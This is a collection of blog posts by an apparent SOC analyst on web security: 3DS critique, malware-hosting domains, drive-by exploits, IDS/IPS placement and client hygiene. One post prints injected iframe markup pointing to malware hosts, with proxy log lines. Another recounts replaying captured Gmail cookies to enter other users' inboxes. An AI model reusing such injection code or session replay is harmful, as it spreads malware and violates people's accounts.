"Yet another WAF" и безопасность вообще...

Очень понравилось выступление Ивана, как, впрочем, и все остальные его доклады. Несмотря на интро Антона о том, что ожидается "технический хардкор", технотреша не было, а были очень правильные концептуальные вещи, которые применимы не только к WAF или Application Firewall-ам или к любым другим системам безопасности, но и к Безопасности, как процессу вообще, которые было бы полезно понимать не только "волосатым-бородатым-техно-гикам" но "пиджакам", занимающимся построением СУИБ на предприятии.

Было сказано, что намного эффективнее как можно лучше адаптироваться к защищаемому приложению, что с легкостью аппроксимируется на контекст - что надо очень хорошо "понимать" приложение, которое защищаешь, поскольку нечто среднее может (и будет) пропускать то, что сможет эффективно атаковать приложение и, вместе с тем, будет блокироваться то, что для приложения безвредно, однако полезно с точки зрения мониторинга\исследования.

Особо перспективной показалась мысль о необходимости управления атаками, о том, что атаки надо не просто блокировать, а исследовать, поскольку эти данные можно (и нужно!) использовать для построения своей защиты, что для меня вложилось в СУИБ из operations-а. Действительно - абсолютно здравая мысль: если вы, например, Yandex, и ваши сервисы постоянно атакуют - глупо не использовать все эти данные. Зачем устраивать "Bounty программы" или нанимать пентестиров, чтобы вас ломали, если вас и так постоянно ломают? Исследуйте эти "шальные взломы", анализируйте трафик: если вас взломали - понимайте как и адаптируйтесь, если вас не поломали - по крайней мере вы подтвердили какую-то степень эффективности свой безопасности.

Думаю, будет запись, - рекомендую посмотреть.

Verified by Visa

Любопытная статья и еще более любопытный документ. Названия тянут на бомбу, но по сути изложены очевидные вещи. Речь идет о безопасности протокола аутентификации владельцев карты Visa при выполнении ими online-покупок. В целом, мое мнение, чтобы написать подбные "труды" достаточно самому хотя бы раз выполнить покупку картой виза через Интернет и прочитать статью на Wikipedia. Конечно, я делал и то и другое, поэтому позволю себе тут рассуждения. Читать лучше сразу PDF, так как статья содержит в себе еще меньше пользы, хотя размер их соизмерим :-) Полезная нагрузка начинается с главы 2, где повествуется об уязвимостях схемы 3DS.
Самая первая уязвимость, видимо, самая важная - "Confusing the user - hiding security cues" о том, что окно аутентификации при реализации 3DS открывается в iFrame и поэтому не видно домена (а также того, как браузер подсвечивает строку URL с неправильным сертификатом TLS), запросившего аутентификацию. Может, в какой-то мере, это снижает безопасность, но:
1. Ничто не мешает банку аутентифицировать в новом окне браузера, тогда даже и строку URL будет видно со всеми ее подсветками.
2. Легитимность сайта подтверждается его сертификатом. При этом, если сертификат протух, не на тот сайт или выдан неизвестным CA браузер выбрасывает промптер предупржедения в котором подробнейшим образом указана проблема, предлагается посмотреть сертификат собственноручно, и только после добавления в исключения все-таки показать его контент. Обход столь сложной процедуры возможен только если:
-- "зловредный" CA, выдавший сертификат подложному сайту, каким-то образом "протрастщен" (добавлен в доверенные удостоверяющие центры) на endpoint-е => мой endpoint компрометирован => есть масса других способов утащить мои секреты и обмануть меня.
-- секретный ключ CA компрометирован и я об этом не знаю (или никто об этом не знает) и злоумышленники подписывают им сертификаты всем негодяям подряд. На этот риск я не могу сильно вилять => его не следует рассматривать

Отдельно следует поговорить про безопасность endpoint-а. Поскольку это элемент платежной системы, безусловно, к нему должны предъявляться требования. Идеально, если банк мог бы проверить их выполнение, но на практике это крайне сложно, поэтому, в обязательном порядке:
- банк должен давать рекомендации для пользователей сервиса "Online Shopping-а"
- желательно наличие каких-либо сервисов от банков, где можно было бы проверить этот compliance (не обязательно online-овых)
- должна быть четко определена ответственность клиента в данном сервисе: клиент должен отвечать только за полное соблюдение требований, но не за весь сервис.

Да, я тут пишу "банк"... "банк".... Дело в том, что 3DS - это лишь framework, конкретная реализация схемы аутентификации - за банком, поэтому, насколько хороша (надежна, безопасна) схема полностью зависит от банка. Да, есть "глупцы", благодаря которым и появляются все эти наукообразные статьи и "исследования", но есть и вполне себе достойные.

Уверен, что для наведения порядка в этом 3DS, Visa должна выпустить ряд требований к реализации этого 3DS, как это сделано, например в PCI DSS.

Но вернемся к статье.
В П 2.2. "Activation during shopping" указана уязвимость слабой аутентификации клиента, указано, что кто-то спрашивает только день рождения. Согласен, что это бред и процедура здесь должна быть аналогична применяемым в системах ДБО. Где-то это какие-то секретные ключи, за которыми надо пешком сходить в банк, где-то это SMS-уведомления с одноразовыми паролями. Если кто-то реализовал глупость, не следует ее сразу обобщать на всех. Также указано, еще более веселая мысль о том, что сайт запрашивает у клиента персональную информацию и это делает его более склонным к социальной инженерии, когда уже фишеры будут запрашивать то же самое: ответил банку, ответит и фишеру. Даже комментировать не буду :-)

В П 2.3 "Informed consent and password choice" утверждается, что: Пользователь, сконцентрированный на приобретение товара (сценарий activation during shopping (ADS)) будет выбирать слабый пароль. Контроль оцевиден: банк не должен принимать простые пароли и вообще реализовывать политику: сложность, длина, периодическая смена, автоблокировка при неправильных вводах.

П 2.4 "Liability shifting" посвящен тому, что Банк "по-тихому" взваливает всю ответственность за компрометацию на клиента. Это тоже необходимо разрулить Визе (как я отмечал выше): пользовать может (и должен!) следовать только четко указанным требованиям, отвечать за все он не может технически (и не должен!). Снимать ответственность полностью с пользователя - не правильно, так как его endpoint - компонента общей системы и ее компрометаци приводит к компрометации системы.

В п 2.5 предлагается некоторое усиление механизма аутентификации банка у клиента, думаю сертификата вполне достаточно (см выше). Если хочется реализовывать еще и это - лишним не будет.

П 2.6 посвящен раличным чудачествам банков относительно того, как они аутентифицируют клиентов при использовании схемы и при смене аутентификационных данных. Что же в семье, как говорится, не без урода. Требовния от Visa к реализациям аутентификации в 3DS должны решить проблему.

П 2.7 - про Privacy. О этот вечный баланс между Security и Privacy:

Нужно помнить следующее:
1. Про аутсорсинг. Если есть объективные причины мои данные передавать аутсорсеру и аутсорсер обязуется охранять мои данные не хуже банка, какой для меня риск? Я на днях ходил в ГИБДД за справкой о ДТП там на входе мои паспортные данные записали в журнальчик... меня больше беспокоит этот журнальчик, кто его читает, как он утилизируется и т.п. Причем такой журнальчик есть практически везде. А мы тут голову ломаем о том что говорить Роскомнадзору и ФСБ, когда ФЗ-152 - нигде не работает.
2. В конечном счете, меня, как субъекта можно аутентифицировать только моими персональными данными. У меня больше ничего нет.

Сухой остаток:
1. Ждем от Visa требований к реализации протоколов аутентификации.
2. От банков ждем требований по безопасности endpoint-а (кое-где видел, но Visa должна обязать такие требования готовить).
3. То, что аутентификационные механизмы отданы на реализацию банкам - правильно, с Visa только требования и разделение ответственности.

REG.ru нам не поможет :-(

Стали фиксировать некоторые изменения в развитии проблемы. Если раньше эксплоиты и зловреды хостились на индийских доменах (закрыли их весьма просто regExp-ом: "\.in$"), то сейчас - на наших отечественных. Причем здесь наблюдаются еще элементы социальной инженерии - мол, проблемы у вас с IE, давайте мы вам починим....

Что же это за домены *ie.ru??

01ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	01IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

02ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	02IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

03ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	03IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

Пишем в Reg.ru - так, мол и так, домены с владельцем (poshli@nahuy.ru ) хостят зловред, давайте их удалим. На следующий день получаем ответ, цитирую (не думаю, что я что-то нарушу процитировав его, но персоналии, на всякий случай, удалю):

> -----Original Message-----
> From: Клиентская служба [mailto:manager@reg.ru]
> Sent: Friday, November 11, 2011 2:03 PM
> To:
> Subject: Re: [Ticket#2011111010003016] Заявка "Домены 01ie.ru, 02ie.ru,
> 03ie.ru установка вредоносного ПО без ведома пользователя"
>
> Здравствуйте,
>
> ООО "Регистратор доменных имен РЕГ.РУ" является Аккредитованным
> регистратором доменных имен и осуществляет свою деятельность в строгом
> соответствии с Правилами регистрации и Регламентами. В соответствии с
> Правилами регистрации доменных имен в домене RU все операции с доменами
> осуществляются на основании заявок от Администратора домена. Если
> Администратором домена являетесь Вы, то Вы вправе на основании
> официального письма совершать любые действия с доменом, в том числе
> аннулировать регистрацию.
>
> Если Вы считаете, что информация, расположенная на домене, является
> незаконной, Вам следует обратиться к хостеру, который предоставляет
> хостинг для данного домена. Информацию о хостере Вы можете посмотреть,
> используя сервис WHOIS.
>
> Если Вы считаете, что Ваши права нарушены Администратором домена, Вам
> необходимо связаться с ним для выяснения обстоятельств. Контактную
> информацию об Администраторе Вы можете найти в WHOIS.
> В случае, если у Вас не получится уладить Ваши претензии к
> Администратору домена путем переговоров, Вы можете обратиться в суд в
> порядке искового производства.
> Мы, в свою очередь, вправе принять меры к Администратору домена (а
> именно, аннулировать регистрацию этого доменного имени) только на
> основании вступившего в законную силу судебного решения.
>
> В соответствии с Правилами регистрации доменных имен в домене RU
> Регистратор аннулирует регистрацию домена на основании судебного
> решения.
>
> "9.2. Регистратор самостоятельно прекращает право администрирования
> после получения доказательств наличия вступившего в законную силу
> решения суда:
> (1) запрещающего Администратору использовать в доменном имени
> обозначение, правами на которое обладает истец;
> (2) признающего администрирование домена Администратором нарушением
> прав истца (если применение такого средства восстановления нарушенного
> права не противоречит судебному решению)
> (3) иным образом обязывающего Администратора отказаться от доменного
> имени."
>
> --
> С уважением,
>
> Специалист Службы по работе с клиентами
> Регистратор доменных имен REG.RU
> Телефон: +7 (495) 580-11-11
> http://www.reg.ru
> http://рег.рф

В общем, идея коллективной взаимопомощи в мире где все всем по... не важно, умирает. Я не понимаю, почему REG.ru не может удалить эти домены на том простом основании, что предоставленные при регистрации данные не соответствуют действительности...

PS: написали в хостера. Реакции так же нет.

О Рекламе и Антирекламе

Мы в нашем SOC-е уже давно трейсим проблему с переменным успехом: каждый день тонны новых сайтов, хостящих эксплоиты причем в чем угодно: pdf, swf, java, exe ... Куча сэмплов засылаются в антивирусных вендоров, virustotal напрягается, вендоры тоже, наш хелпдеск устал перезаливать десктопы, мы с ИТ-шниками постоянно в тонусе: ломаем голову как бы это закрыть на периметре, чтобы более не напрягало. Пока не понятно в чью пользу. Мы склонны думать, что это работает автомат, которого постоянно подкармливают эксплоитами и пейлоадами, а также потенциальными целями (выбираются наиболее посещаемые сайты) и снимают "урожай" уже компрометированных клиентов. Возможно, последние потом просто продаются, но это вопрос отдельного изучения.

Впечатляют масштабы этого безобразия: мы анализируем только посещения наших пользователей, да у нас большая сеть, но в масштабах Интернет - капля. Достаточно много вполне себе приличных сайтов новостей, известных на всю страну организаций взломано. Причем, когда мы сообщаем в соотвествующие поддержки сайтов и проблема устраняется, практически на следующий день снова наблюдаем хостящийся эксплоит :-)

Среди таких известных и в то же время уже разломанных сайтов, с хостящимся эксплоитом - URA.RU. При заходе на сайт приятно видеть, что мой домашний Касперский не спит (думаю, любой из вас может это увидеть):

Здорово, правда? В целом, гордится не чем.

Однако, вполне себе приличная и известная Компания, специализирующаяся как раз на обеспечении информационной безопасности на своем сайте среди уважаемых клиентов с гордостью перечисляет:
Илья, если вы читаете, пожалуйста, помогите клиенту.

Размещать известных клиентов на своем сайте - общая практика. А ведь так просто этим же себе и навредить....

Я ни в коем случае не хотел бы в этом посте задеть чьи-либо интересы, нет. Я очередной раз задумался о том, что любая палка имеет как минимум два конца и, порой, преследуя одно, мы получаем совсем другое. Опыт показывает, что захачить можно практически любой сайт и совсем не значит, что его писали плохие разработчики и администрят плохие админы: слова "плохой" и "хороший" - относительны, а любая консалтинговая компания стремится обозначить своих клиентов, тем самым немного добавив в копилку мнения прохожего о качестве своих услуг.

Может, разве что, ссылки не давать со своего сайта, оставив одни логотипы :)

Безопасность Web-приложений со стороны пользователя

Опыт анализа логов IDS и web-прокси только по одной компании полностью подтверждает написанное. Вообще, у меня сложилось впечатление, что:
1. Хостеры, сайтописатели и службы безопасности интернет-представительств либо плохо работают, либо вовсе не следят за своими сайтами. Первое время мы оповещали владельцев сайтов, что их сайт взломан и на нем хостится "что-то", что потом залетает к нашим пользователям, посещающим их сайт. После нескольких, достаточно веселых переписок, напоминающих легенду о вымирании динозавров (их тело было настолько большим, а нервная система настолько несовершенна, что нервный импульс от хвоста до мозга доходил несколько минут), я посчитал это занятие малоэффективным.
2. В Интернет существует просто громаднейшее количество сайтов, которые так или иначе скомпрометированы. Даже если сайт имеет Имя, совсем не значит, что он не может хостить "что-то", чего вы бы не хотели получить. К этому надо быть готовым.

К сожалению, никто кроме нас нам не поможет.

Как это выглядит? Приведу лишь словесное описание и один пример (, как это выглядит в лолгах.
На страничку сайта как-то попадает ссылка на "нехороший" сайт, который хостит PDF, Java-апплет или Flash-ролик. Внутри PDF - JavaScript, который уже закачивает, возможно, с другого "нехорошего" сайта бинарник, представляющий собой зловред. Наш печальный опыт показывает, что подавляющее большинство этих зловредов не ловятся практически никаким антивирусом (использовали virustotal). Понятно, что антивирусы умирают, но жалко как-то: крутится на компе, поедает его ресурсы, а эффекта мало :-(

В логах прокси:
1.1.1.1 - "MSAD\BGates" [12/Oct/2011:06:10:06 +0400] "GET http://l65.in/stats8888/buble.php?key=rtgddfg%26u=root HTTP/1.0" 200 627 281 275 344 "http://<скрыто из этических соображений>/daily/25768/2753033/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)" "-" - "text/html" "default" 0.258 "-" TCP_MISS

Первая ссылка - куда пошел пользователь, вторая - Referrer - позволят предполагать откуда.
Не надо пытаться разрешить сайт l65.in, по нашей статистике живут такие сайты не более месяца, в большинстве случаев - несколько дней.

На страничке сайта "Скрыто из этических соображений" это выглядит примерно так:
<script>
var rnd = Math.round(Math.random() * 100000);
document.write("<"+"if"+"rame src="+"http://{куда-то далеко}.in/if"+"rame.php?r="+rnd+"&id=8 width=100% height=975 marginwidth=0 marginheight=0 scrolling=no frameborder=0>");</script>

или совсем просто:

<iframe src="http://<тоже не близко>.in/wea54/06.php" height="0" width="0"></iframe>

Можно, пройти по этим iframe и покачать бинарники, попостить их на www.virustotal.com, от чего настроение ухудшится ибо хочется верить в эффективность моего антивируса.

Скажу сразу, что не все, что мы тут выкачивали из этих iframe-ов было зловредом. Такая же "технология" используется для интернет рекламы, сбора статистики посещений и раскрутки сайтов через счетчики посещений (заходя на сайт "скрыто из этических соображений" пользователи невольно заходят еще куда-то что фиксируется всякими трейсерами и кликосчетчиками). Вообще, зловред загружается со специального хостящего сайта, что создает широкое поле для фантазии админа сайта хостящего зловреды. В целом, могу предположить, что этим можно и неплохо зарабатывать.

Что же делать?

Безусловно, надо людям помогать, писать письма в сайты, что у них поселилось что-то. Но опыт показывает, что трудозатрат эти переписки стоят, а эффекта никакого: после нашей переписки с "скрыто из этических соображений" (известный сайт новостей) "что-то" было-таки удалено, но вскоре (на следующий день) появилось снова. Надо надеяться на себя. Что планируется предпринять:

1. Ужесточить загрузку бинарников из Интернет: загружать могут только кому надо, только откуда можно, только что нужно.
2. Если пользователь имеет мощные права (тем более админ домена, админ серверов критичных, хелпдеск с правами админа на всех десктопах и пр) - никакого интернет.. Отключить JavaScript в Acrobat-е. Можно через интерфейс - найти несложно, можно через реестр (предпочтительно, если операцию следует проделать, скажем, на 15 000 компьютеров):
HKCU\Software\Adobe\Adobe Acrobat\10.0\JSPrefs\bEnableJS = 0
4. Отключить все ненужные плагины в браузере. Вам нужно, чтобы документ Adobe показывался прямо из IE или Mozilla-ы? Мне это крайне неудобно.
5. Стараться ставить все обновления на Flash, Java, Adobe, Office.
6. Подумать об использование персональной HIPS или использовать сетевую IPS в активном режиме. Если антивирусы мертвы, то почему IPS - нет? Не знаю, но опыт показывает, что в конкретных сетевых атаках IPS достаточно эффективна. Смею предположить, что это связано с тем, что у IPS история короче и они не имеют еще многомегабайтных баз, а также с тем, что IPS фиксирует метод атаки, а антивирус конкретный контент (payload). Все-таки методов атак пока меньше, чем вариантов передаваемого зловреда. Последнее в защиту IPS: да, она шумит кучей событий, но опытному глазу этот шум помогает, а не мешает. Может, использование нейросетей и/или AI в антивирусах когда-нибудь станет реальностью и он будет так же эффективен сам собой, как (шумная IDS + опытный глаз), но пока счет не в их пользу. В целом, идея коллективной безопасности (или "безопасности из облаков") тут может быть эффективно, но тут диалектическая проблема: Зла уже столько, что перечислять его все уже менее эффективно, чем перечислять Добро.
7 (самое радикальное). Перейти на системы белого списка. Это как антивирус, только на оборот: они, в отличие от антивируса, который блокирует все Зло, - не блокируют Добро, но блокируют все остальное. Системы типа LAC или SolidCore и т.п. помогут.

Если у кого будет что добавить к написанному, буду крайне признателен.


ЗЫ: я тут вот писал этот пост, вставлял фрагменты с iframe, потом нажал Publish Post и начал его смотреть. Смотрю, а все мои iframe-ы из примеров выполнились и пытаются показать свои src. Да, блоги еще то зло - даже ломать ничего не надо!

Transparent NTLM in Firefox

Недавно выяснил, что оказывается еще с незапамятных времен Firefox на Windows поддерживает прозрачную NTLM аутентификацию с использованием нативных библиотек. Единственное что надо сделать чтобы все это заработало - указать в настройках для каких доменов или серверов такая аутентификация разрешена. Обычным способом (about:config) надо поправить следующие параметры:

network.automatic-ntlm-auth.trusted-uris

network.negotiate-auth.trusted-uris

И в обоих указать имя внутреннего домена, используемое в корпоративной сети - например "some-company.com" (без кавычек!). Для всех серверов в этом домене Firefox будет пытаться использовать прозрачный NTLM.

Где разместить IDS/IPS, в аналогиях

Я принимаю участие в проекте по построению безопасного шлюза в Интернет. Шлюз состоит из межсетевого экрана (МЭ), системы фильтрации Web-трафика с функцией кеширования (прокси-сервер) и системы IPS или IDS. Что касается того, где разместить прокси-сервер, то здесь вопросов не возникало: всем интуитивно понятно, что проси надо размещать за межсетевым экраном со стороны внутренней сети, а вот местоположение IDS/IPS почему-то не для всех является так очевидным. Вообще, вещи, о которых тут пойдет речь кажутся более чем понятными интуитивно, поэтому, для кого нет секретов в местоположении точки включения IDS/IPS в схеме безопасного шлюза в Интернет, – не тратьте время на чтение этого поста.

Традиционный МЭ, как правило, не «заглядывает» в сетевые пакеты выше уровня 4 модели OSI: он выполняет пакетную фильтрацию с контролем состояний (stateful) по IP-адресам и портам TCP/UDP. Да, последнее время популярны МЭ с тонкой фильтрацией до уровня приложения и встроенным IPS, – так называемые, UTM, но это – совсем другая история, не наш случай (да и вообще, мне кажется, неразумным хранить все яйца в одной корзине). Прокси–сервер уровня приложения, обычно, знает несколько протоколов, которые он проксирует. Он, как правило, не знает о существовании сетевых атак, не проводит анализ поведения, не выявляет отклонения от RFC (хотя, иногда можно, настроить прокси так, чтобы он проксил только соответствующий RFC трафик) и прочие аномалии.

IPS. Если очень поверхностно, то IPS – система прецизионной фильтрации сетевого трафика. Она анализирует не только все уровни модели OSI – до уровня приложения включительно, но еще, как минимум, может смотреть отклонения от RFC (или прочих стандартов) известных ей протоколов, блокировать известные сетевые атаки на основании сигнатурного анализа, вести статистический учет сетевого трафика на основании разнообразных метрик, проводить анализ поведения объектов в сети и на его основе различным образом реагировать. В этой связи IPS можно сравнить с системой тончайшей очистки… Представьте себе водоочистную станцию, состоящую из ряда фильтров: фильтр грубой механической очистки, фильтр тонкой очистки и фильтр тончайшей очистки. Разумное расположение этих фильтров таково, что из водозабора грязная вода сначала проходит фильтр грубой механической очистки, где очищается все то, что не стоит пить: камни, песок, крупные примеси. Затем логично поставить фильтр тонкой очистки, который превратит воду в практически питьевую, но только, скажем, после кипячения. Непосредственно перед потребителем имеет смысл поставить фильтр тончайшей очистки, который сделает из «практически» питьевой воды, просто питьевую, которую не надо будет дополнительно для этого обрабатывать, удалив все известные на сегодня бактерии и прочие отклонения от нормы. Если «подставить слагаемые»: МЭ – грубая очистка, Прокси – тонкая, IPS – тончайшая, то логично, на мой взгляд, IPS ставить ближе к защищаемому объекту, потребителю, следовательно, схема подключения будет такая Пользовательские рабочие станции – IPS – прокси – МЭ – Интернет.

IDS может определять все то же самое, что и IPS, но отличается возможностями по реагированию. IDS, в случае обнаружения чего-либо будет ругаться, но активно что-то предпринять не сможет, тогда как IPS, включенная в разрыв (Inline) может сразу и заблокировать обнаруженное Зло. Здесь IDS можно сравнить с неким индикатором состояния, термометром…. Представьте себе тело человека, зима. На человеке одета куртка, защищающая его, скажем от осадков, свитер, не пропускающий холод. Где мы будем мерить температуру тела человека? Между курткой и улицей? Наверно нет. А может, между курткой и свитером? Скорее всего, тоже нет. Логично располагать градусник ближе к телу, мы же его состояние хотим проанализировать. Следовательно, ситуация с IDS ровно такая же как и с IPS – точку съема трафика располагаем между рабочими станциями пользователей и Прокси.

Если кому понравилась предыдущая аналогия с очисткой воды, пожалуйста, она здесь тоже работает превосходно: вместо фильтра тончайшей очистки у нас есть диагностический комплекс, постоянно анализирующий степень очистки воды. На комплексе загорается красная лампочка, в случае отклонения качества воды от заданной нормы, эту лампочку видит оператор и предпринимает действия в соответствии со своими руководящими документами.

Надеюсь, что это чтиво не было для Вас утомительным, и, также как у меня, у Вас на лице была улыбка.

Трафик на 404.adatoms.com

Анализ журналов Web-прокси показал огромное количество трафика (5Гб, 92% всего трафика данного пользователя за неделю) от одного пользователя на сайт 404.adatoms.com. Вот фрагмент лога:

10.xx.xxx.xxx - "-" [04/Aug/2008:14:32:43 +0400] "GET http://404.adatoms.com/?client=MyCentriaIB%26ver=1.8%26wmid=81%26scheme=MYC2%26uid=FU4BEZLWRR56W%26lt=1217849565%26url=http%3A%2F%2Fwww%2Esj4%2Eru%2Fcgi%2Dbin%2Fiframe%2Fntv%3F929351%26code=403 HTTP/1.1" 403 1735 340 "" "MyCentria72" "wa, it" 10 text/html" "default" 0.215 "-"

Подобных обращений прокси фиксировал несколько десятков в секунду. Обращения фиксировались не постоянно, а в виде некой активности, которая, по сложившемуся впечатлению, активизировалась в случайное время, что не позволило установить какое приложение является источником трафика.

Интернет-поиск не дал ничего, кроме этой публикации.

Примечательно, что после отработки антивируса активность прекратилась. Антивирус (McAfee) успешно удалил файл с названием XPEHOMOP.exe, распознав его как New Malware.n (Trojan).

Спасибо тебе, Google!

Анализируя события HTTP_Post систем обнаружения, я поймал ряд POST-ов на gmail. Сохранение пакетов событий было настроено, таким образом, мне были доступны пакеты примерно следующего вида:

Возникла идея на удачу попробовать ретранслировать пойманный пакет. Я был полон уверенности, что такая простая атака не пройдет с Google, тем не менее, любопытство взяло свое, и я решил все-таки попробовать.

Для ретрансляции я использовал Tamper Data, поместив в строке запроса Firefox то, что было в строке POST, запустил перехват:

Согласившился с запросом вмешаться:

В появившемся списке заголовков я добавил/отредактировал Cookie и Referer, взяв их из пойманного пакета:

Я продолжал соглашаться с вмешательством и подставлять Cookie до тех пор, пока промптеры о необходимости вмешаться престали появляться. Я отключил перехват. Примечательно то, что в окне браузера я все же не увидел Inbox другого пользователя (жертвы, чей пакет был пойман), чего, собственно, я и ожидал. Тем не менее, снова, так просто, на всякий случай, я набрал в строке браузера http://mail.google.com/mail/ и, к своему удивлению, провалился в Inbox жертвы.

Описанное выше происходило в пятницу 14 Марта, вечером. Тогда я решил, что возможно, Cookie еще не успели протухнуть, хотя, то, что эти Cookie можно повторно использовать – уже уязвимость, которую необходимо исправлять.

17 Марта, утром я повторил ту же самую, описанную выше процедуру, взяв за основу тот же самый пакет. К своему ужасу я снова попал в тот же ящик, сделав вывод, что пойманные мной Cookie не протухают никогда.

Далее, я решил выйти из ящика жертвы, сказав “Sign out”. Примечательно, что после этого действия фокус перестал работать: сколько я не пытался повторно послать пакет, я не попадал в Inbox жертвы.

Поскольку я сам являюсь фанатом и активным пользователем сервисов Google, я описал все свои дознания в службу поддержки Google (в раздел советов по улучшению http://mail.google.com/support/bin/request.py?contact_type=suggest )

На мой взгляд (я не считаю себя глубоким специалистом в безопасности Web), на тот момент были возможны следующие «улучшения»:

· Сделать Cookie одноразовыми или как-то шифровать их – это сделает невозможным их повторное использование;

· По окончании работы с GMAIL принудительно завершать сессию пользователя (принудительный Sign out), чтобы никакие Cookie не воспринимались вообще.

Никакой обратной связи о том, что мое «улучшение» принято/отклонено/в таком-то статусе, не было, тем не менее, на следующий день, 18 Марта я решил попробовать работает ли фокус (конечно, я взял другую жертву, не ту, которой я сказал “Sign out”) и, внимание, фокус не работал: как бы я не пытался повторно переслать пойманные пакеты, я постоянно попадал в приглашение ввести логин/пароль. Мне остается только гадать о том, была ли эта простейшая уязвимость изначально и потом исправлена после получения моего «улучшения», или уязвимость проявилась как побочный эффект каких-то работ, которые проводились на Google. Важно, что проблема исчезла, к тому же так быстро!

Trend With Web Site Attacks

Web site attacks are going the same route as malware. In early days computer viruses mostly did something fun or just destructed some or all of your data (mostly without any obvious reason). Now they are used to earn money - spam, cyber extortions etc. Most of modern malware is staying stealth to not interfere with normal computer operation and avoid detection.

Same is true for latest web site breaches - attackers just slightly modify legitimate web sites to spread malware to their audience.

SecurityFocus: Attackers favor compromise over creation
SecurityFocus: Legitimate sites serving up stealthy attacks
PCWorld: 10,000 Web Sites Rigged with Advanced Hack Attack

SANS: Top Ten Cyber Security Menaces for 2008

SANS has posted Top Ten Cyber Security Menaces for 2008.
To my mind this can be a good argument against low attention to securing employee Internet access and mobile devices.

Subverted search sites lead to massive malware attack in progress

Well, this is something clever! Tactics is to use some legitimate site (a search engine) to point you to a malicious site, thus playing on your trust. Moreover, using legitimate site that is often visited makes the attack more efficient. This is not something completely new. See Spammers feeling lucky with Google, for example.

Read ComputerWorld article:
http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9049269&intsrc=news_ts_head

Five Simple Rules of Client Security Proved in Practice

Several days ago I helped friend of mine install Windows XP Professional on his home computer. I made default installation of XP SP2 and created two users with default options – these accounts were created with administrator rights.

After that he made a contract with local Internet provider and plugged into the Internet. My friend had admired by the Internet up to depth of his soul, – he was very happy to be able to visit internet sites at home.

But two days latter he phoned me complaining that his new computer had become very slow and he sees a lot of prompters from Kaspersky AV telling him that his computer is infected with malware. I should mention that he has 30-days evaluation version of Kaspersky with old virus base.

I downloaded latest CureIT and went to my friend’s place. But when I came I found that all my attempts to log on to Windows immediately ended with logging off. I found a number of materials about malware that change HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon subkey and decided that problem was in that. Then I made a BartPE CD and loaded from it. I found that C:\Windows\System32\Userinit.exe simply absent. I copied it from I386 directory of XP installation CD. After that I decided to look at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. I loaded offline registry and I found two suspicious programs that start from C:\Windows\system32 and C:\Windows\Temp. Unfortunately I don’t remember exact names but I have been assured, that they can be deleted safely. Finally, I started CureIT against whole C:. Remember, it was three days old XP SP2 installation, so C: didn’t contain much data. It ended with more that 50 different malware found! Mainly they were Trojans. I know that some malware block AV updates by editing C:\WINDOWS\system32\drivers\etc\hosts file so I decided to check it too. Well, I hadn’t mistaken – I commented 35 rows of well-known update services including Microsoft Windows update, Symantec Live update, etc.

After that long process of getting rid of viruses, assuming that my friend will not buy antivirus so computer will not be protected with AV and also he will not update Windows because it takes too much Internet traffic that costs money I wrote for him 5 simple rules that should help him to stay somehow protected against Internet threats. Here they are.

1. Do not surf the Internet with admin rights. Very simple – if you catch something, it won’t destroy your system, just your profile.
2. Do not use IE. Since you don’t update your Windows, IE is not updated as well. Use Firefox – it’s free and seems more secure.
3. If browser asks you something, read this carefully and only after this make your decision. If you feel lazy and don’t want to read – answer ‘No’.
4. Try to avoid unknown sites. I know that it’s difficult, – that’s why I said ‘try’.
5. Do not install plug-ins. Even if everything is OK with your browser core you still can be successfully attacked through plug-is. See, for example, page 7 here.

Additionally, it’s good idea to download CureIT and run test periodically, for example, once a week.

Inside myself I was very frightened because I don’t have AV on my home computer, my XP has only SP2 and no other patches and my wife like the Internet very much. The only defense I have – five above rules.

When I came home I ran CureIT against C:. I was very happy with result – ‘No viruses found’. I think it does really prove that 5 rules are working. Don’t misunderstand me, I don’t assert that we don’t need to use AV and install patches, no, but these rules are good trade-off.

Browser security

Recently I mentioned here (unfortunately available only in Russian) that number of discovered vulnerabilities does not indicate level of security. It is a rather strange assertion that Windows is more secure than Linux because it has less discovered faults during specified period of time than Linux.
Here are facts that show that situation actually is reverse.

On figure 6 we can see charts for Remote code execution vulnerabilities in IE, Firefox and Opera. Using Microsoft's logic IE should be safer... But unfortunately things are not so simple - see figure 7. If the idea is not obvious - read text between these figures:

... As shown in Figure 7, these input URLs that resulted in a 0.5735% of successful compromises of Internet Explorer 6 SP2 did not cause a single successful attack on Firefox 1.5.0 or Opera 8.0.0...

Awareness training: misleading applications.

There are materials (Misleading Applications: faking left, running right, Misleading Applications – What you need to know, KYE: Malicious Web Servers and others) about client security. IT and IT security can fight against such threats on infrastructure level (Web filtering - URL/Content/Category, Anti-virus/-malware/-spyware/-crimeware/etc.) but unfortunately it's not enough because new attack technologies trend to target people as the weakest link in the chain of security countermeasures using social engineering. New kind of such deceiving software - misleading applications - is not exception.

In this short post I outline some very simple rules that can help ordinary people to protect themselves and significantly lower risk of being attacked via Internet clients:

• Control your patch level and patch level of your antivirus.
• Do not visit unknown sites.
